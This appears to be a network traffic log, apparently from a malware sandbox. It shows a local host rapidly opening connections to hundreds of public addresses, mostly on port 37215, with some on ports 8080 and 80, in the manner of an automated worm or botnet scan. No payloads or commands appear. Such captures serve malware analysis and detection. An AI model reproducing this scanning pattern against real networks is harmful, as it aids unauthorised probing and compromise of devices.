Jan 26, 2025 01:43:30.835426092 CET	48680	37215	192.168.2.13	197.209.131.14
Jan 26, 2025 01:43:30.836313963 CET	58114	37215	192.168.2.13	197.190.36.116
Jan 26, 2025 01:43:30.836534023 CET	37215	49906	197.86.111.94	192.168.2.13
Jan 26, 2025 01:43:30.836596966 CET	49906	37215	192.168.2.13	197.86.111.94
Jan 26, 2025 01:43:30.837270021 CET	51492	37215	192.168.2.13	197.199.142.186
Jan 26, 2025 01:43:30.838083982 CET	51072	37215	192.168.2.13	197.227.95.31
Jan 26, 2025 01:43:30.838901043 CET	48882	37215	192.168.2.13	197.114.182.240
Jan 26, 2025 01:43:30.839632034 CET	40072	37215	192.168.2.13	197.189.18.131
Jan 26, 2025 01:43:30.840361118 CET	54026	37215	192.168.2.13	197.229.5.129
Jan 26, 2025 01:43:30.841134071 CET	57754	37215	192.168.2.13	197.15.59.76
Jan 26, 2025 01:43:30.842057943 CET	51800	37215	192.168.2.13	197.76.41.81
Jan 26, 2025 01:43:30.843077898 CET	36628	37215	192.168.2.13	197.216.53.252
Jan 26, 2025 01:43:30.843981981 CET	33326	37215	192.168.2.13	197.78.233.228
Jan 26, 2025 01:43:30.844722986 CET	46494	37215	192.168.2.13	197.12.91.71
Jan 26, 2025 01:43:30.845349073 CET	43632	8080	192.168.2.13	85.14.229.61
Jan 26, 2025 01:43:30.845349073 CET	58138	8080	192.168.2.13	94.226.17.4
Jan 26, 2025 01:43:30.845351934 CET	36366	8080	192.168.2.13	85.80.91.197
Jan 26, 2025 01:43:30.845360041 CET	43150	8080	192.168.2.13	95.190.61.25
Jan 26, 2025 01:43:30.845372915 CET	36540	8080	192.168.2.13	62.194.2.0
Jan 26, 2025 01:43:30.845374107 CET	52000	8080	192.168.2.13	95.138.137.29
Jan 26, 2025 01:43:30.845374107 CET	43560	8080	192.168.2.13	94.123.197.85
Jan 26, 2025 01:43:30.845375061 CET	51392	8080	192.168.2.13	31.241.171.181
Jan 26, 2025 01:43:30.845392942 CET	46964	8080	192.168.2.13	94.69.227.184
Jan 26, 2025 01:43:30.845392942 CET	47524	8080	192.168.2.13	62.68.98.24
Jan 26, 2025 01:43:30.846271038 CET	48604	37215	192.168.2.13	197.189.13.239
Jan 26, 2025 01:43:30.848855019 CET	37215	33326	197.78.233.228	192.168.2.13
Jan 26, 2025 01:43:30.848913908 CET	33326	37215	192.168.2.13	197.78.233.228
Jan 26, 2025 01:43:30.854211092 CET	33270	80	192.168.2.13	95.17.140.187
Jan 26, 2025 01:43:30.856208086 CET	36404	80	192.168.2.13	95.9.14.226
Jan 26, 2025 01:43:30.857110977 CET	36262	80	192.168.2.13	95.250.132.221
Jan 26, 2025 01:43:30.858064890 CET	47380	80	192.168.2.13	95.84.93.5
Jan 26, 2025 01:43:30.859000921 CET	80	33270	95.17.140.187	192.168.2.13
Jan 26, 2025 01:43:30.859085083 CET	33270	80	192.168.2.13	95.17.140.187
Jan 26, 2025 01:43:30.859527111 CET	46096	80	192.168.2.13	95.199.254.18
Jan 26, 2025 01:43:30.860346079 CET	52492	80	192.168.2.13	95.167.94.12
Jan 26, 2025 01:43:30.861471891 CET	35780	80	192.168.2.13	95.37.127.134
Jan 26, 2025 01:43:30.862418890 CET	42738	80	192.168.2.13	95.244.190.219
Jan 26, 2025 01:43:30.863328934 CET	42456	80	192.168.2.13	95.138.51.12
Jan 26, 2025 01:43:30.864186049 CET	53598	80	192.168.2.13	95.190.87.34
Jan 26, 2025 01:43:30.865569115 CET	37250	80	192.168.2.13	95.134.233.175
Jan 26, 2025 01:43:30.866271019 CET	49006	37215	192.168.2.13	197.162.118.8
Jan 26, 2025 01:43:30.867750883 CET	47415	37215	192.168.2.13	41.175.43.245
Jan 26, 2025 01:43:30.867763996 CET	47415	37215	192.168.2.13	41.22.141.17
Jan 26, 2025 01:43:30.867796898 CET	47415	37215	192.168.2.13	41.161.37.113
Jan 26, 2025 01:43:30.867799997 CET	47415	37215	192.168.2.13	41.140.151.147
Jan 26, 2025 01:43:30.867799997 CET	47415	37215	192.168.2.13	41.68.119.38
Jan 26, 2025 01:43:30.867851019 CET	47415	37215	192.168.2.13	41.53.148.29
Jan 26, 2025 01:43:30.867851019 CET	47415	37215	192.168.2.13	41.77.101.215
Jan 26, 2025 01:43:30.867851019 CET	47415	37215	192.168.2.13	41.68.93.235
Jan 26, 2025 01:43:30.867852926 CET	47415	37215	192.168.2.13	41.9.66.237
Jan 26, 2025 01:43:30.867856026 CET	47415	37215	192.168.2.13	41.87.229.71
Jan 26, 2025 01:43:30.867866039 CET	47415	37215	192.168.2.13	41.125.66.189
Jan 26, 2025 01:43:30.867887974 CET	47415	37215	192.168.2.13	41.217.158.66
Jan 26, 2025 01:43:30.867894888 CET	47415	37215	192.168.2.13	41.138.224.158
Jan 26, 2025 01:43:30.867939949 CET	47415	37215	192.168.2.13	41.95.40.86
Jan 26, 2025 01:43:30.867942095 CET	47415	37215	192.168.2.13	41.220.83.174
Jan 26, 2025 01:43:30.867947102 CET	47415	37215	192.168.2.13	41.20.198.236
Jan 26, 2025 01:43:30.867954969 CET	47415	37215	192.168.2.13	41.11.124.134
Jan 26, 2025 01:43:30.867957115 CET	47415	37215	192.168.2.13	41.183.117.174
Jan 26, 2025 01:43:30.867969990 CET	47415	37215	192.168.2.13	41.127.41.173
Jan 26, 2025 01:43:30.867993116 CET	47415	37215	192.168.2.13	41.202.85.15
Jan 26, 2025 01:43:30.868007898 CET	47415	37215	192.168.2.13	41.12.221.12
Jan 26, 2025 01:43:30.868010044 CET	47415	37215	192.168.2.13	41.147.58.50
Jan 26, 2025 01:43:30.868036985 CET	47415	37215	192.168.2.13	41.73.151.3
Jan 26, 2025 01:43:30.868042946 CET	47415	37215	192.168.2.13	41.62.134.171
Jan 26, 2025 01:43:30.868043900 CET	47415	37215	192.168.2.13	41.52.89.169
Jan 26, 2025 01:43:30.868078947 CET	47415	37215	192.168.2.13	41.58.212.156
Jan 26, 2025 01:43:30.868078947 CET	47415	37215	192.168.2.13	41.112.180.111
Jan 26, 2025 01:43:30.868081093 CET	47415	37215	192.168.2.13	41.204.32.117
Jan 26, 2025 01:43:30.868086100 CET	47415	37215	192.168.2.13	41.67.120.213
Jan 26, 2025 01:43:30.868115902 CET	47415	37215	192.168.2.13	41.60.111.210
Jan 26, 2025 01:43:30.868118048 CET	47415	37215	192.168.2.13	41.145.99.247
Jan 26, 2025 01:43:30.868124962 CET	80	42456	95.138.51.12	192.168.2.13
Jan 26, 2025 01:43:30.868134975 CET	47415	37215	192.168.2.13	41.46.240.51
Jan 26, 2025 01:43:30.868138075 CET	47415	37215	192.168.2.13	41.188.12.174
Jan 26, 2025 01:43:30.868163109 CET	42456	80	192.168.2.13	95.138.51.12
Jan 26, 2025 01:43:30.868177891 CET	47415	37215	192.168.2.13	41.235.18.209
Jan 26, 2025 01:43:30.868177891 CET	47415	37215	192.168.2.13	41.235.216.199
Jan 26, 2025 01:43:30.868192911 CET	47415	37215	192.168.2.13	41.120.189.137
Jan 26, 2025 01:43:30.868206978 CET	47415	37215	192.168.2.13	41.253.160.47
Jan 26, 2025 01:43:30.868212938 CET	47415	37215	192.168.2.13	41.181.245.36
Jan 26, 2025 01:43:30.868240118 CET	47415	37215	192.168.2.13	41.160.60.37
Jan 26, 2025 01:43:30.868267059 CET	47415	37215	192.168.2.13	41.35.216.146
Jan 26, 2025 01:43:30.868271112 CET	47415	37215	192.168.2.13	41.77.248.232
Jan 26, 2025 01:43:30.868277073 CET	47415	37215	192.168.2.13	41.85.133.120
Jan 26, 2025 01:43:30.868278980 CET	47415	37215	192.168.2.13	41.84.81.219
Jan 26, 2025 01:43:30.868293047 CET	47415	37215	192.168.2.13	41.118.1.218
Jan 26, 2025 01:43:30.868304968 CET	47415	37215	192.168.2.13	41.6.85.14
Jan 26, 2025 01:43:30.868330956 CET	47415	37215	192.168.2.13	41.171.210.232
Jan 26, 2025 01:43:30.868351936 CET	47415	37215	192.168.2.13	41.21.183.239
Jan 26, 2025 01:43:30.868354082 CET	47415	37215	192.168.2.13	41.118.214.166
Jan 26, 2025 01:43:30.868357897 CET	47415	37215	192.168.2.13	41.52.217.245
Jan 26, 2025 01:43:30.868376017 CET	47415	37215	192.168.2.13	41.253.100.90
Jan 26, 2025 01:43:30.868381977 CET	47415	37215	192.168.2.13	41.139.14.192
Jan 26, 2025 01:43:30.868397951 CET	47415	37215	192.168.2.13	41.165.5.66
Jan 26, 2025 01:43:30.868406057 CET	47415	37215	192.168.2.13	41.85.248.122
Jan 26, 2025 01:43:30.868406057 CET	47415	37215	192.168.2.13	41.71.193.171
Jan 26, 2025 01:43:30.868407011 CET	47415	37215	192.168.2.13	41.23.146.204
Jan 26, 2025 01:43:30.868446112 CET	47415	37215	192.168.2.13	41.5.53.84
Jan 26, 2025 01:43:30.868447065 CET	47415	37215	192.168.2.13	41.98.30.14
Jan 26, 2025 01:43:30.868446112 CET	47415	37215	192.168.2.13	41.171.46.55
Jan 26, 2025 01:43:30.868462086 CET	47415	37215	192.168.2.13	41.66.251.193
Jan 26, 2025 01:43:30.868463993 CET	47415	37215	192.168.2.13	41.20.13.26
Jan 26, 2025 01:43:30.868479013 CET	47415	37215	192.168.2.13	41.93.90.112
Jan 26, 2025 01:43:30.868494034 CET	47415	37215	192.168.2.13	41.163.108.87
Jan 26, 2025 01:43:30.868498087 CET	47415	37215	192.168.2.13	41.93.27.43
Jan 26, 2025 01:43:30.868516922 CET	47415	37215	192.168.2.13	41.121.99.27
Jan 26, 2025 01:43:30.868519068 CET	47415	37215	192.168.2.13	41.134.229.38
Jan 26, 2025 01:43:30.868531942 CET	47415	37215	192.168.2.13	41.150.179.10
Jan 26, 2025 01:43:30.868560076 CET	47415	37215	192.168.2.13	41.181.246.28
Jan 26, 2025 01:43:30.868561029 CET	47415	37215	192.168.2.13	41.253.12.10
Jan 26, 2025 01:43:30.868597984 CET	47415	37215	192.168.2.13	41.35.248.253
Jan 26, 2025 01:43:30.868599892 CET	47415	37215	192.168.2.13	41.105.197.31
Jan 26, 2025 01:43:30.868618965 CET	47415	37215	192.168.2.13	41.152.87.93
Jan 26, 2025 01:43:30.868618965 CET	47415	37215	192.168.2.13	41.105.219.208
Jan 26, 2025 01:43:30.868629932 CET	47415	37215	192.168.2.13	41.190.37.33
Jan 26, 2025 01:43:30.868633032 CET	47415	37215	192.168.2.13	41.110.92.195
Jan 26, 2025 01:43:30.868634939 CET	47415	37215	192.168.2.13	41.161.90.51
Jan 26, 2025 01:43:30.868659019 CET	47415	37215	192.168.2.13	41.98.60.16
Jan 26, 2025 01:43:30.868663073 CET	47415	37215	192.168.2.13	41.243.221.8
Jan 26, 2025 01:43:30.868669033 CET	47415	37215	192.168.2.13	41.12.129.78
Jan 26, 2025 01:43:30.868694067 CET	47415	37215	192.168.2.13	41.47.207.173
Jan 26, 2025 01:43:30.868694067 CET	47415	37215	192.168.2.13	41.41.85.194
Jan 26, 2025 01:43:30.868709087 CET	47415	37215	192.168.2.13	41.197.66.252
Jan 26, 2025 01:43:30.868733883 CET	47415	37215	192.168.2.13	41.102.139.157
Jan 26, 2025 01:43:30.868735075 CET	47415	37215	192.168.2.13	41.53.47.243
Jan 26, 2025 01:43:30.868767023 CET	47415	37215	192.168.2.13	41.183.71.18
Jan 26, 2025 01:43:30.868767023 CET	47415	37215	192.168.2.13	41.119.158.235
Jan 26, 2025 01:43:30.868769884 CET	47415	37215	192.168.2.13	41.59.171.169
Jan 26, 2025 01:43:30.868793011 CET	47415	37215	192.168.2.13	41.221.116.228
Jan 26, 2025 01:43:30.868793011 CET	47415	37215	192.168.2.13	41.185.7.38
Jan 26, 2025 01:43:30.868793964 CET	47415	37215	192.168.2.13	41.156.180.164
Jan 26, 2025 01:43:30.868813038 CET	47415	37215	192.168.2.13	41.194.21.83
Jan 26, 2025 01:43:30.868827105 CET	47415	37215	192.168.2.13	41.41.127.187
Jan 26, 2025 01:43:30.868845940 CET	47415	37215	192.168.2.13	41.179.204.183
Jan 26, 2025 01:43:30.868845940 CET	47415	37215	192.168.2.13	41.153.252.41
Jan 26, 2025 01:43:30.868865967 CET	47415	37215	192.168.2.13	41.188.45.35
Jan 26, 2025 01:43:30.868866920 CET	47415	37215	192.168.2.13	41.229.96.252
Jan 26, 2025 01:43:30.868872881 CET	47415	37215	192.168.2.13	41.104.82.227
Jan 26, 2025 01:43:30.868901014 CET	47415	37215	192.168.2.13	41.4.11.147
Jan 26, 2025 01:43:30.868901968 CET	47415	37215	192.168.2.13	41.139.107.207
Jan 26, 2025 01:43:30.868940115 CET	47415	37215	192.168.2.13	41.203.224.17
Jan 26, 2025 01:43:30.868940115 CET	47415	37215	192.168.2.13	41.5.129.82
Jan 26, 2025 01:43:30.868961096 CET	47415	37215	192.168.2.13	41.235.233.163
Jan 26, 2025 01:43:30.868961096 CET	47415	37215	192.168.2.13	41.164.41.245
Jan 26, 2025 01:43:30.868961096 CET	47415	37215	192.168.2.13	41.20.93.233
Jan 26, 2025 01:43:30.868962049 CET	47415	37215	192.168.2.13	41.4.33.67
Jan 26, 2025 01:43:30.868982077 CET	47415	37215	192.168.2.13	41.166.156.158
Jan 26, 2025 01:43:30.868988037 CET	47415	37215	192.168.2.13	41.82.98.78
Jan 26, 2025 01:43:30.869012117 CET	47415	37215	192.168.2.13	41.237.254.23
Jan 26, 2025 01:43:30.869012117 CET	47415	37215	192.168.2.13	41.29.95.66
Jan 26, 2025 01:43:30.869016886 CET	47415	37215	192.168.2.13	41.54.202.51
Jan 26, 2025 01:43:30.869033098 CET	47415	37215	192.168.2.13	41.139.248.90
Jan 26, 2025 01:43:30.869035006 CET	47415	37215	192.168.2.13	41.87.17.24
Jan 26, 2025 01:43:30.869070053 CET	47415	37215	192.168.2.13	41.129.62.105
Jan 26, 2025 01:43:30.869076967 CET	47415	37215	192.168.2.13	41.15.13.32
Jan 26, 2025 01:43:30.869079113 CET	47415	37215	192.168.2.13	41.57.239.196
Jan 26, 2025 01:43:30.869100094 CET	47415	37215	192.168.2.13	41.202.204.0
Jan 26, 2025 01:43:30.869122982 CET	47415	37215	192.168.2.13	41.76.194.243
Jan 26, 2025 01:43:30.869127989 CET	47415	37215	192.168.2.13	41.177.140.53
Jan 26, 2025 01:43:30.869128942 CET	47415	37215	192.168.2.13	41.149.222.163
Jan 26, 2025 01:43:30.869142056 CET	47415	37215	192.168.2.13	41.22.132.76
Jan 26, 2025 01:43:30.869142056 CET	47415	37215	192.168.2.13	41.54.133.82
Jan 26, 2025 01:43:30.869154930 CET	47415	37215	192.168.2.13	41.179.47.233
Jan 26, 2025 01:43:30.869196892 CET	47415	37215	192.168.2.13	41.155.97.51
Jan 26, 2025 01:43:30.869199038 CET	47415	37215	192.168.2.13	41.232.41.80
Jan 26, 2025 01:43:30.869204044 CET	47415	37215	192.168.2.13	41.55.128.224
Jan 26, 2025 01:43:30.869235039 CET	47415	37215	192.168.2.13	41.181.153.155
Jan 26, 2025 01:43:30.869235039 CET	47415	37215	192.168.2.13	41.57.199.81
Jan 26, 2025 01:43:30.869246960 CET	47415	37215	192.168.2.13	41.210.60.150
Jan 26, 2025 01:43:30.869267941 CET	47415	37215	192.168.2.13	41.237.143.173
Jan 26, 2025 01:43:30.869268894 CET	47415	37215	192.168.2.13	41.76.182.200
Jan 26, 2025 01:43:30.869287968 CET	47415	37215	192.168.2.13	41.39.204.230
Jan 26, 2025 01:43:30.869297028 CET	47415	37215	192.168.2.13	41.53.100.35
Jan 26, 2025 01:43:30.869302034 CET	47415	37215	192.168.2.13	41.37.37.190
Jan 26, 2025 01:43:30.869307041 CET	47415	37215	192.168.2.13	41.72.208.72
Jan 26, 2025 01:43:30.869339943 CET	47415	37215	192.168.2.13	41.126.41.125
Jan 26, 2025 01:43:30.869342089 CET	47415	37215	192.168.2.13	41.86.73.120
Jan 26, 2025 01:43:30.869352102 CET	47415	37215	192.168.2.13	41.228.251.59
Jan 26, 2025 01:43:30.869381905 CET	47415	37215	192.168.2.13	41.81.121.78
Jan 26, 2025 01:43:30.869381905 CET	47415	37215	192.168.2.13	41.207.56.18
Jan 26, 2025 01:43:30.869395018 CET	47415	37215	192.168.2.13	41.235.88.33
Jan 26, 2025 01:43:30.869419098 CET	47415	37215	192.168.2.13	41.69.46.162
Jan 26, 2025 01:43:30.869435072 CET	47415	37215	192.168.2.13	41.214.90.242
Jan 26, 2025 01:43:30.869440079 CET	47415	37215	192.168.2.13	41.117.162.199
Jan 26, 2025 01:43:30.869463921 CET	47415	37215	192.168.2.13	41.107.181.234
Jan 26, 2025 01:43:30.869472027 CET	47415	37215	192.168.2.13	41.182.76.129
Jan 26, 2025 01:43:30.869483948 CET	47415	37215	192.168.2.13	41.161.168.200
Jan 26, 2025 01:43:30.869486094 CET	47415	37215	192.168.2.13	41.153.127.242
Jan 26, 2025 01:43:30.869503021 CET	47415	37215	192.168.2.13	41.128.33.253
Jan 26, 2025 01:43:30.869504929 CET	47415	37215	192.168.2.13	41.173.102.205
Jan 26, 2025 01:43:30.869534969 CET	47415	37215	192.168.2.13	41.125.106.18
Jan 26, 2025 01:43:30.869546890 CET	47415	37215	192.168.2.13	41.42.5.249
Jan 26, 2025 01:43:30.869548082 CET	47415	37215	192.168.2.13	41.104.44.65
Jan 26, 2025 01:43:30.869573116 CET	47415	37215	192.168.2.13	41.128.60.231
Jan 26, 2025 01:43:30.869573116 CET	47415	37215	192.168.2.13	41.204.98.164
Jan 26, 2025 01:43:30.869577885 CET	47415	37215	192.168.2.13	41.94.216.234
Jan 26, 2025 01:43:30.869596004 CET	47415	37215	192.168.2.13	41.156.107.19
Jan 26, 2025 01:43:30.869601965 CET	47415	37215	192.168.2.13	41.255.39.231
Jan 26, 2025 01:43:30.869607925 CET	47415	37215	192.168.2.13	41.217.52.255
Jan 26, 2025 01:43:30.869626045 CET	47415	37215	192.168.2.13	41.17.34.192
Jan 26, 2025 01:43:30.869646072 CET	47415	37215	192.168.2.13	41.223.69.190
Jan 26, 2025 01:43:30.869662046 CET	47415	37215	192.168.2.13	41.8.188.109
Jan 26, 2025 01:43:30.869776011 CET	58474	37215	192.168.2.13	197.119.243.203
Jan 26, 2025 01:43:30.869792938 CET	49050	37215	192.168.2.13	197.13.192.111
Jan 26, 2025 01:43:30.869792938 CET	54840	37215	192.168.2.13	197.41.228.194
Jan 26, 2025 01:43:30.869813919 CET	33928	37215	192.168.2.13	197.51.53.77
Jan 26, 2025 01:43:30.869844913 CET	37432	37215	192.168.2.13	197.135.236.77
Jan 26, 2025 01:43:30.869853973 CET	44820	37215	192.168.2.13	197.245.235.184
Jan 26, 2025 01:43:30.869867086 CET	56192	37215	192.168.2.13	197.225.76.202
Jan 26, 2025 01:43:30.869894028 CET	58756	37215	192.168.2.13	197.21.99.87
Jan 26, 2025 01:43:30.869906902 CET	50120	37215	192.168.2.13	197.220.194.140
Jan 26, 2025 01:43:30.869982958 CET	52454	37215	192.168.2.13	197.249.234.117
Jan 26, 2025 01:43:30.869982958 CET	49734	37215	192.168.2.13	197.207.29.141
Jan 26, 2025 01:43:30.869982958 CET	33350	37215	192.168.2.13	197.223.172.238
Jan 26, 2025 01:43:30.869983912 CET	42502	37215	192.168.2.13	197.110.145.161
Jan 26, 2025 01:43:30.869992018 CET	49278	37215	192.168.2.13	197.61.149.58
Jan 26, 2025 01:43:30.870012045 CET	41440	37215	192.168.2.13	197.132.79.190
Jan 26, 2025 01:43:30.870069981 CET	60088	37215	192.168.2.13	197.63.131.165
Jan 26, 2025 01:43:30.870069981 CET	49906	37215	192.168.2.13	197.86.111.94
Jan 26, 2025 01:43:30.870069981 CET	33326	37215	192.168.2.13	197.78.233.228
Jan 26, 2025 01:43:30.870146990 CET	58474	37215	192.168.2.13	197.119.243.203
Jan 26, 2025 01:43:30.870161057 CET	49050	37215	192.168.2.13	197.13.192.111
Jan 26, 2025 01:43:30.870161057 CET	54840	37215	192.168.2.13	197.41.228.194
Jan 26, 2025 01:43:30.870161057 CET	33928	37215	192.168.2.13	197.51.53.77
Jan 26, 2025 01:43:30.870172977 CET	37432	37215	192.168.2.13	197.135.236.77
Jan 26, 2025 01:43:30.870172977 CET	56192	37215	192.168.2.13	197.225.76.202
Jan 26, 2025 01:43:30.870178938 CET	44820	37215	192.168.2.13	197.245.235.184
Jan 26, 2025 01:43:30.870178938 CET	58756	37215	192.168.2.13	197.21.99.87
Jan 26, 2025 01:43:30.870193005 CET	50120	37215	192.168.2.13	197.220.194.140
Jan 26, 2025 01:43:30.870227098 CET	49278	37215	192.168.2.13	197.61.149.58
Jan 26, 2025 01:43:30.870228052 CET	52454	37215	192.168.2.13	197.249.234.117
Jan 26, 2025 01:43:30.870228052 CET	49734	37215	192.168.2.13	197.207.29.141
Jan 26, 2025 01:43:30.870228052 CET	33350	37215	192.168.2.13	197.223.172.238
Jan 26, 2025 01:43:30.870228052 CET	42502	37215	192.168.2.13	197.110.145.161
Jan 26, 2025 01:43:30.870244980 CET	41440	37215	192.168.2.13	197.132.79.190
Jan 26, 2025 01:43:30.870263100 CET	49906	37215	192.168.2.13	197.86.111.94
Jan 26, 2025 01:43:30.870263100 CET	33326	37215	192.168.2.13	197.78.233.228
Jan 26, 2025 01:43:30.870270967 CET	60088	37215	192.168.2.13	197.63.131.165
Jan 26, 2025 01:43:30.870317936 CET	37264	80	192.168.2.13	95.248.12.82
Jan 26, 2025 01:43:30.870922089 CET	60518	37215	192.168.2.13	197.17.208.129
Jan 26, 2025 01:43:30.870937109 CET	8080	44698	85.95.154.119	192.168.2.13
Jan 26, 2025 01:43:30.872019053 CET	51634	80	192.168.2.13	95.26.98.137
Jan 26, 2025 01:43:30.872893095 CET	60008	37215	192.168.2.13	197.93.156.79
Jan 26, 2025 01:43:30.874562025 CET	37215	58474	197.119.243.203	192.168.2.13
Jan 26, 2025 01:43:30.874608040 CET	37215	49050	197.13.192.111	192.168.2.13
Jan 26, 2025 01:43:30.874617100 CET	37215	54840	197.41.228.194	192.168.2.13
Jan 26, 2025 01:43:30.874759912 CET	40348	80	192.168.2.13	95.72.68.249
Jan 26, 2025 01:43:30.874785900 CET	37215	33928	197.51.53.77	192.168.2.13
Jan 26, 2025 01:43:30.874795914 CET	37215	37432	197.135.236.77	192.168.2.13
Jan 26, 2025 01:43:30.874825954 CET	37215	44820	197.245.235.184	192.168.2.13
Jan 26, 2025 01:43:30.874862909 CET	37215	56192	197.225.76.202	192.168.2.13
Jan 26, 2025 01:43:30.874872923 CET	37215	58756	197.21.99.87	192.168.2.13
Jan 26, 2025 01:43:30.874979973 CET	37215	50120	197.220.194.140	192.168.2.13
Jan 26, 2025 01:43:30.874996901 CET	37215	52454	197.249.234.117	192.168.2.13
Jan 26, 2025 01:43:30.875011921 CET	37215	49734	197.207.29.141	192.168.2.13
Jan 26, 2025 01:43:30.875021935 CET	37215	33350	197.223.172.238	192.168.2.13
Jan 26, 2025 01:43:30.875094891 CET	37215	49278	197.61.149.58	192.168.2.13
Jan 26, 2025 01:43:30.875103951 CET	37215	42502	197.110.145.161	192.168.2.13
Jan 26, 2025 01:43:30.875137091 CET	37215	41440	197.132.79.190	192.168.2.13
Jan 26, 2025 01:43:30.875145912 CET	37215	60088	197.63.131.165	192.168.2.13
Jan 26, 2025 01:43:30.875183105 CET	37215	49906	197.86.111.94	192.168.2.13
Jan 26, 2025 01:43:30.875209093 CET	37215	33326	197.78.233.228	192.168.2.13
Jan 26, 2025 01:43:30.875884056 CET	41958	37215	192.168.2.13	197.107.125.124
Jan 26, 2025 01:43:30.876804113 CET	80	51634	95.26.98.137	192.168.2.13
Jan 26, 2025 01:43:30.876867056 CET	51634	80	192.168.2.13	95.26.98.137
Jan 26, 2025 01:43:30.877341986 CET	42994	8080	192.168.2.13	85.223.206.157
Jan 26, 2025 01:43:30.877341986 CET	53774	8080	192.168.2.13	85.112.37.254
Jan 26, 2025 01:43:30.877345085 CET	55642	8080	192.168.2.13	62.172.53.205
Jan 26, 2025 01:43:30.877345085 CET	41444	8080	192.168.2.13	94.206.63.98
Jan 26, 2025 01:43:30.877345085 CET	58758	8080	192.168.2.13	95.191.89.207
Jan 26, 2025 01:43:30.877346992 CET	56074	8080	192.168.2.13	95.214.235.226
Jan 26, 2025 01:43:30.877362967 CET	43322	8080	192.168.2.13	62.166.81.135
Jan 26, 2025 01:43:30.877366066 CET	35922	8080	192.168.2.13	31.248.200.165
Jan 26, 2025 01:43:30.877367020 CET	42486	8080	192.168.2.13	85.204.209.62
Jan 26, 2025 01:43:30.877367973 CET	33050	8080	192.168.2.13	94.1.203.199
Jan 26, 2025 01:43:30.877368927 CET	60928	8080	192.168.2.13	94.21.149.157
Jan 26, 2025 01:43:30.878388882 CET	60456	80	192.168.2.13	95.24.53.87
Jan 26, 2025 01:43:30.879097939 CET	37392	37215	192.168.2.13	197.210.98.142
Jan 26, 2025 01:43:30.880260944 CET	59950	80	192.168.2.13	95.206.219.190
Jan 26, 2025 01:43:30.880994081 CET	36918	37215	192.168.2.13	197.166.10.132
Jan 26, 2025 01:43:30.882879972 CET	39772	80	192.168.2.13	95.48.58.95
Jan 26, 2025 01:43:30.883672953 CET	40932	37215	192.168.2.13	197.189.115.165
Jan 26, 2025 01:43:30.885196924 CET	54540	80	192.168.2.13	95.29.233.228
Jan 26, 2025 01:43:30.885808945 CET	34888	37215	192.168.2.13	197.17.126.10
Jan 26, 2025 01:43:30.886965036 CET	34492	80	192.168.2.13	95.192.131.94
Jan 26, 2025 01:43:30.887897968 CET	41018	37215	192.168.2.13	197.5.105.17
Jan 26, 2025 01:43:30.888499022 CET	37215	40932	197.189.115.165	192.168.2.13
Jan 26, 2025 01:43:30.888545990 CET	40932	37215	192.168.2.13	197.189.115.165
Jan 26, 2025 01:43:30.888962984 CET	36534	80	192.168.2.13	95.135.9.203
Jan 26, 2025 01:43:30.889570951 CET	33176	37215	192.168.2.13	197.159.187.14
Jan 26, 2025 01:43:30.890782118 CET	34450	80	192.168.2.13	95.100.236.194
Jan 26, 2025 01:43:30.891375065 CET	51718	37215	192.168.2.13	197.136.80.170
Jan 26, 2025 01:43:30.892510891 CET	39078	80	192.168.2.13	95.99.51.140
Jan 26, 2025 01:43:30.893959999 CET	58136	37215	192.168.2.13	197.144.13.39
Jan 26, 2025 01:43:30.895627022 CET	58304	80	192.168.2.13	95.146.224.185
Jan 26, 2025 01:43:30.896195889 CET	37215	51718	197.136.80.170	192.168.2.13
Jan 26, 2025 01:43:30.896279097 CET	51718	37215	192.168.2.13	197.136.80.170
Jan 26, 2025 01:43:30.896378040 CET	46192	37215	192.168.2.13	197.114.93.185
Jan 26, 2025 01:43:30.897595882 CET	45538	80	192.168.2.13	95.0.135.121
Jan 26, 2025 01:43:30.898436069 CET	59542	37215	192.168.2.13	197.69.65.242
Jan 26, 2025 01:43:30.899554014 CET	57646	80	192.168.2.13	95.234.201.85
Jan 26, 2025 01:43:30.900440931 CET	48964	37215	192.168.2.13	197.135.182.60
Jan 26, 2025 01:43:30.901561022 CET	33152	80	192.168.2.13	95.52.16.78
Jan 26, 2025 01:43:30.903443098 CET	60170	37215	192.168.2.13	197.49.59.211
Jan 26, 2025 01:43:30.905409098 CET	51734	80	192.168.2.13	95.102.86.56
Jan 26, 2025 01:43:30.907378912 CET	51494	37215	192.168.2.13	197.185.237.142
Jan 26, 2025 01:43:30.908238888 CET	37215	60170	197.49.59.211	192.168.2.13
Jan 26, 2025 01:43:30.908307076 CET	60170	37215	192.168.2.13	197.49.59.211
Jan 26, 2025 01:43:30.908685923 CET	37938	80	192.168.2.13	95.230.186.198
Jan 26, 2025 01:43:30.909351110 CET	42390	8080	192.168.2.13	95.241.218.188
Jan 26, 2025 01:43:30.909353018 CET	59030	8080	192.168.2.13	62.11.137.137
Jan 26, 2025 01:43:30.909353971 CET	55498	8080	192.168.2.13	85.122.29.184
Jan 26, 2025 01:43:30.909353971 CET	52476	8080	192.168.2.13	62.14.76.163
Jan 26, 2025 01:43:30.909353971 CET	43576	8080	192.168.2.13	85.58.191.155
Jan 26, 2025 01:43:30.909365892 CET	44162	8080	192.168.2.13	85.98.247.145
Jan 26, 2025 01:43:30.909367085 CET	46538	8080	192.168.2.13	31.2.165.135
Jan 26, 2025 01:43:30.909375906 CET	43592	8080	192.168.2.13	94.124.186.82
Jan 26, 2025 01:43:30.909375906 CET	33058	8080	192.168.2.13	85.210.72.137
Jan 26, 2025 01:43:30.909380913 CET	51668	8080	192.168.2.13	95.67.56.162
Jan 26, 2025 01:43:30.909452915 CET	54492	37215	192.168.2.13	197.187.226.234
Jan 26, 2025 01:43:30.910527945 CET	51286	80	192.168.2.13	95.152.159.47
Jan 26, 2025 01:43:30.912309885 CET	53332	37215	192.168.2.13	197.166.132.44
Jan 26, 2025 01:43:30.913499117 CET	40932	37215	192.168.2.13	197.189.115.165
Jan 26, 2025 01:43:30.913556099 CET	40932	37215	192.168.2.13	197.189.115.165
Jan 26, 2025 01:43:30.913559914 CET	51718	37215	192.168.2.13	197.136.80.170
Jan 26, 2025 01:43:30.913559914 CET	60170	37215	192.168.2.13	197.49.59.211
Jan 26, 2025 01:43:30.913592100 CET	51718	37215	192.168.2.13	197.136.80.170
Jan 26, 2025 01:43:30.913592100 CET	60170	37215	192.168.2.13	197.49.59.211
Jan 26, 2025 01:43:30.913630009 CET	36458	80	192.168.2.13	95.205.20.148
Jan 26, 2025 01:43:30.914329052 CET	55888	37215	192.168.2.13	197.86.162.181
Jan 26, 2025 01:43:30.916769028 CET	60306	80	192.168.2.13	95.156.183.245
Jan 26, 2025 01:43:30.917110920 CET	37215	53332	197.166.132.44	192.168.2.13
Jan 26, 2025 01:43:30.917186022 CET	53332	37215	192.168.2.13	197.166.132.44
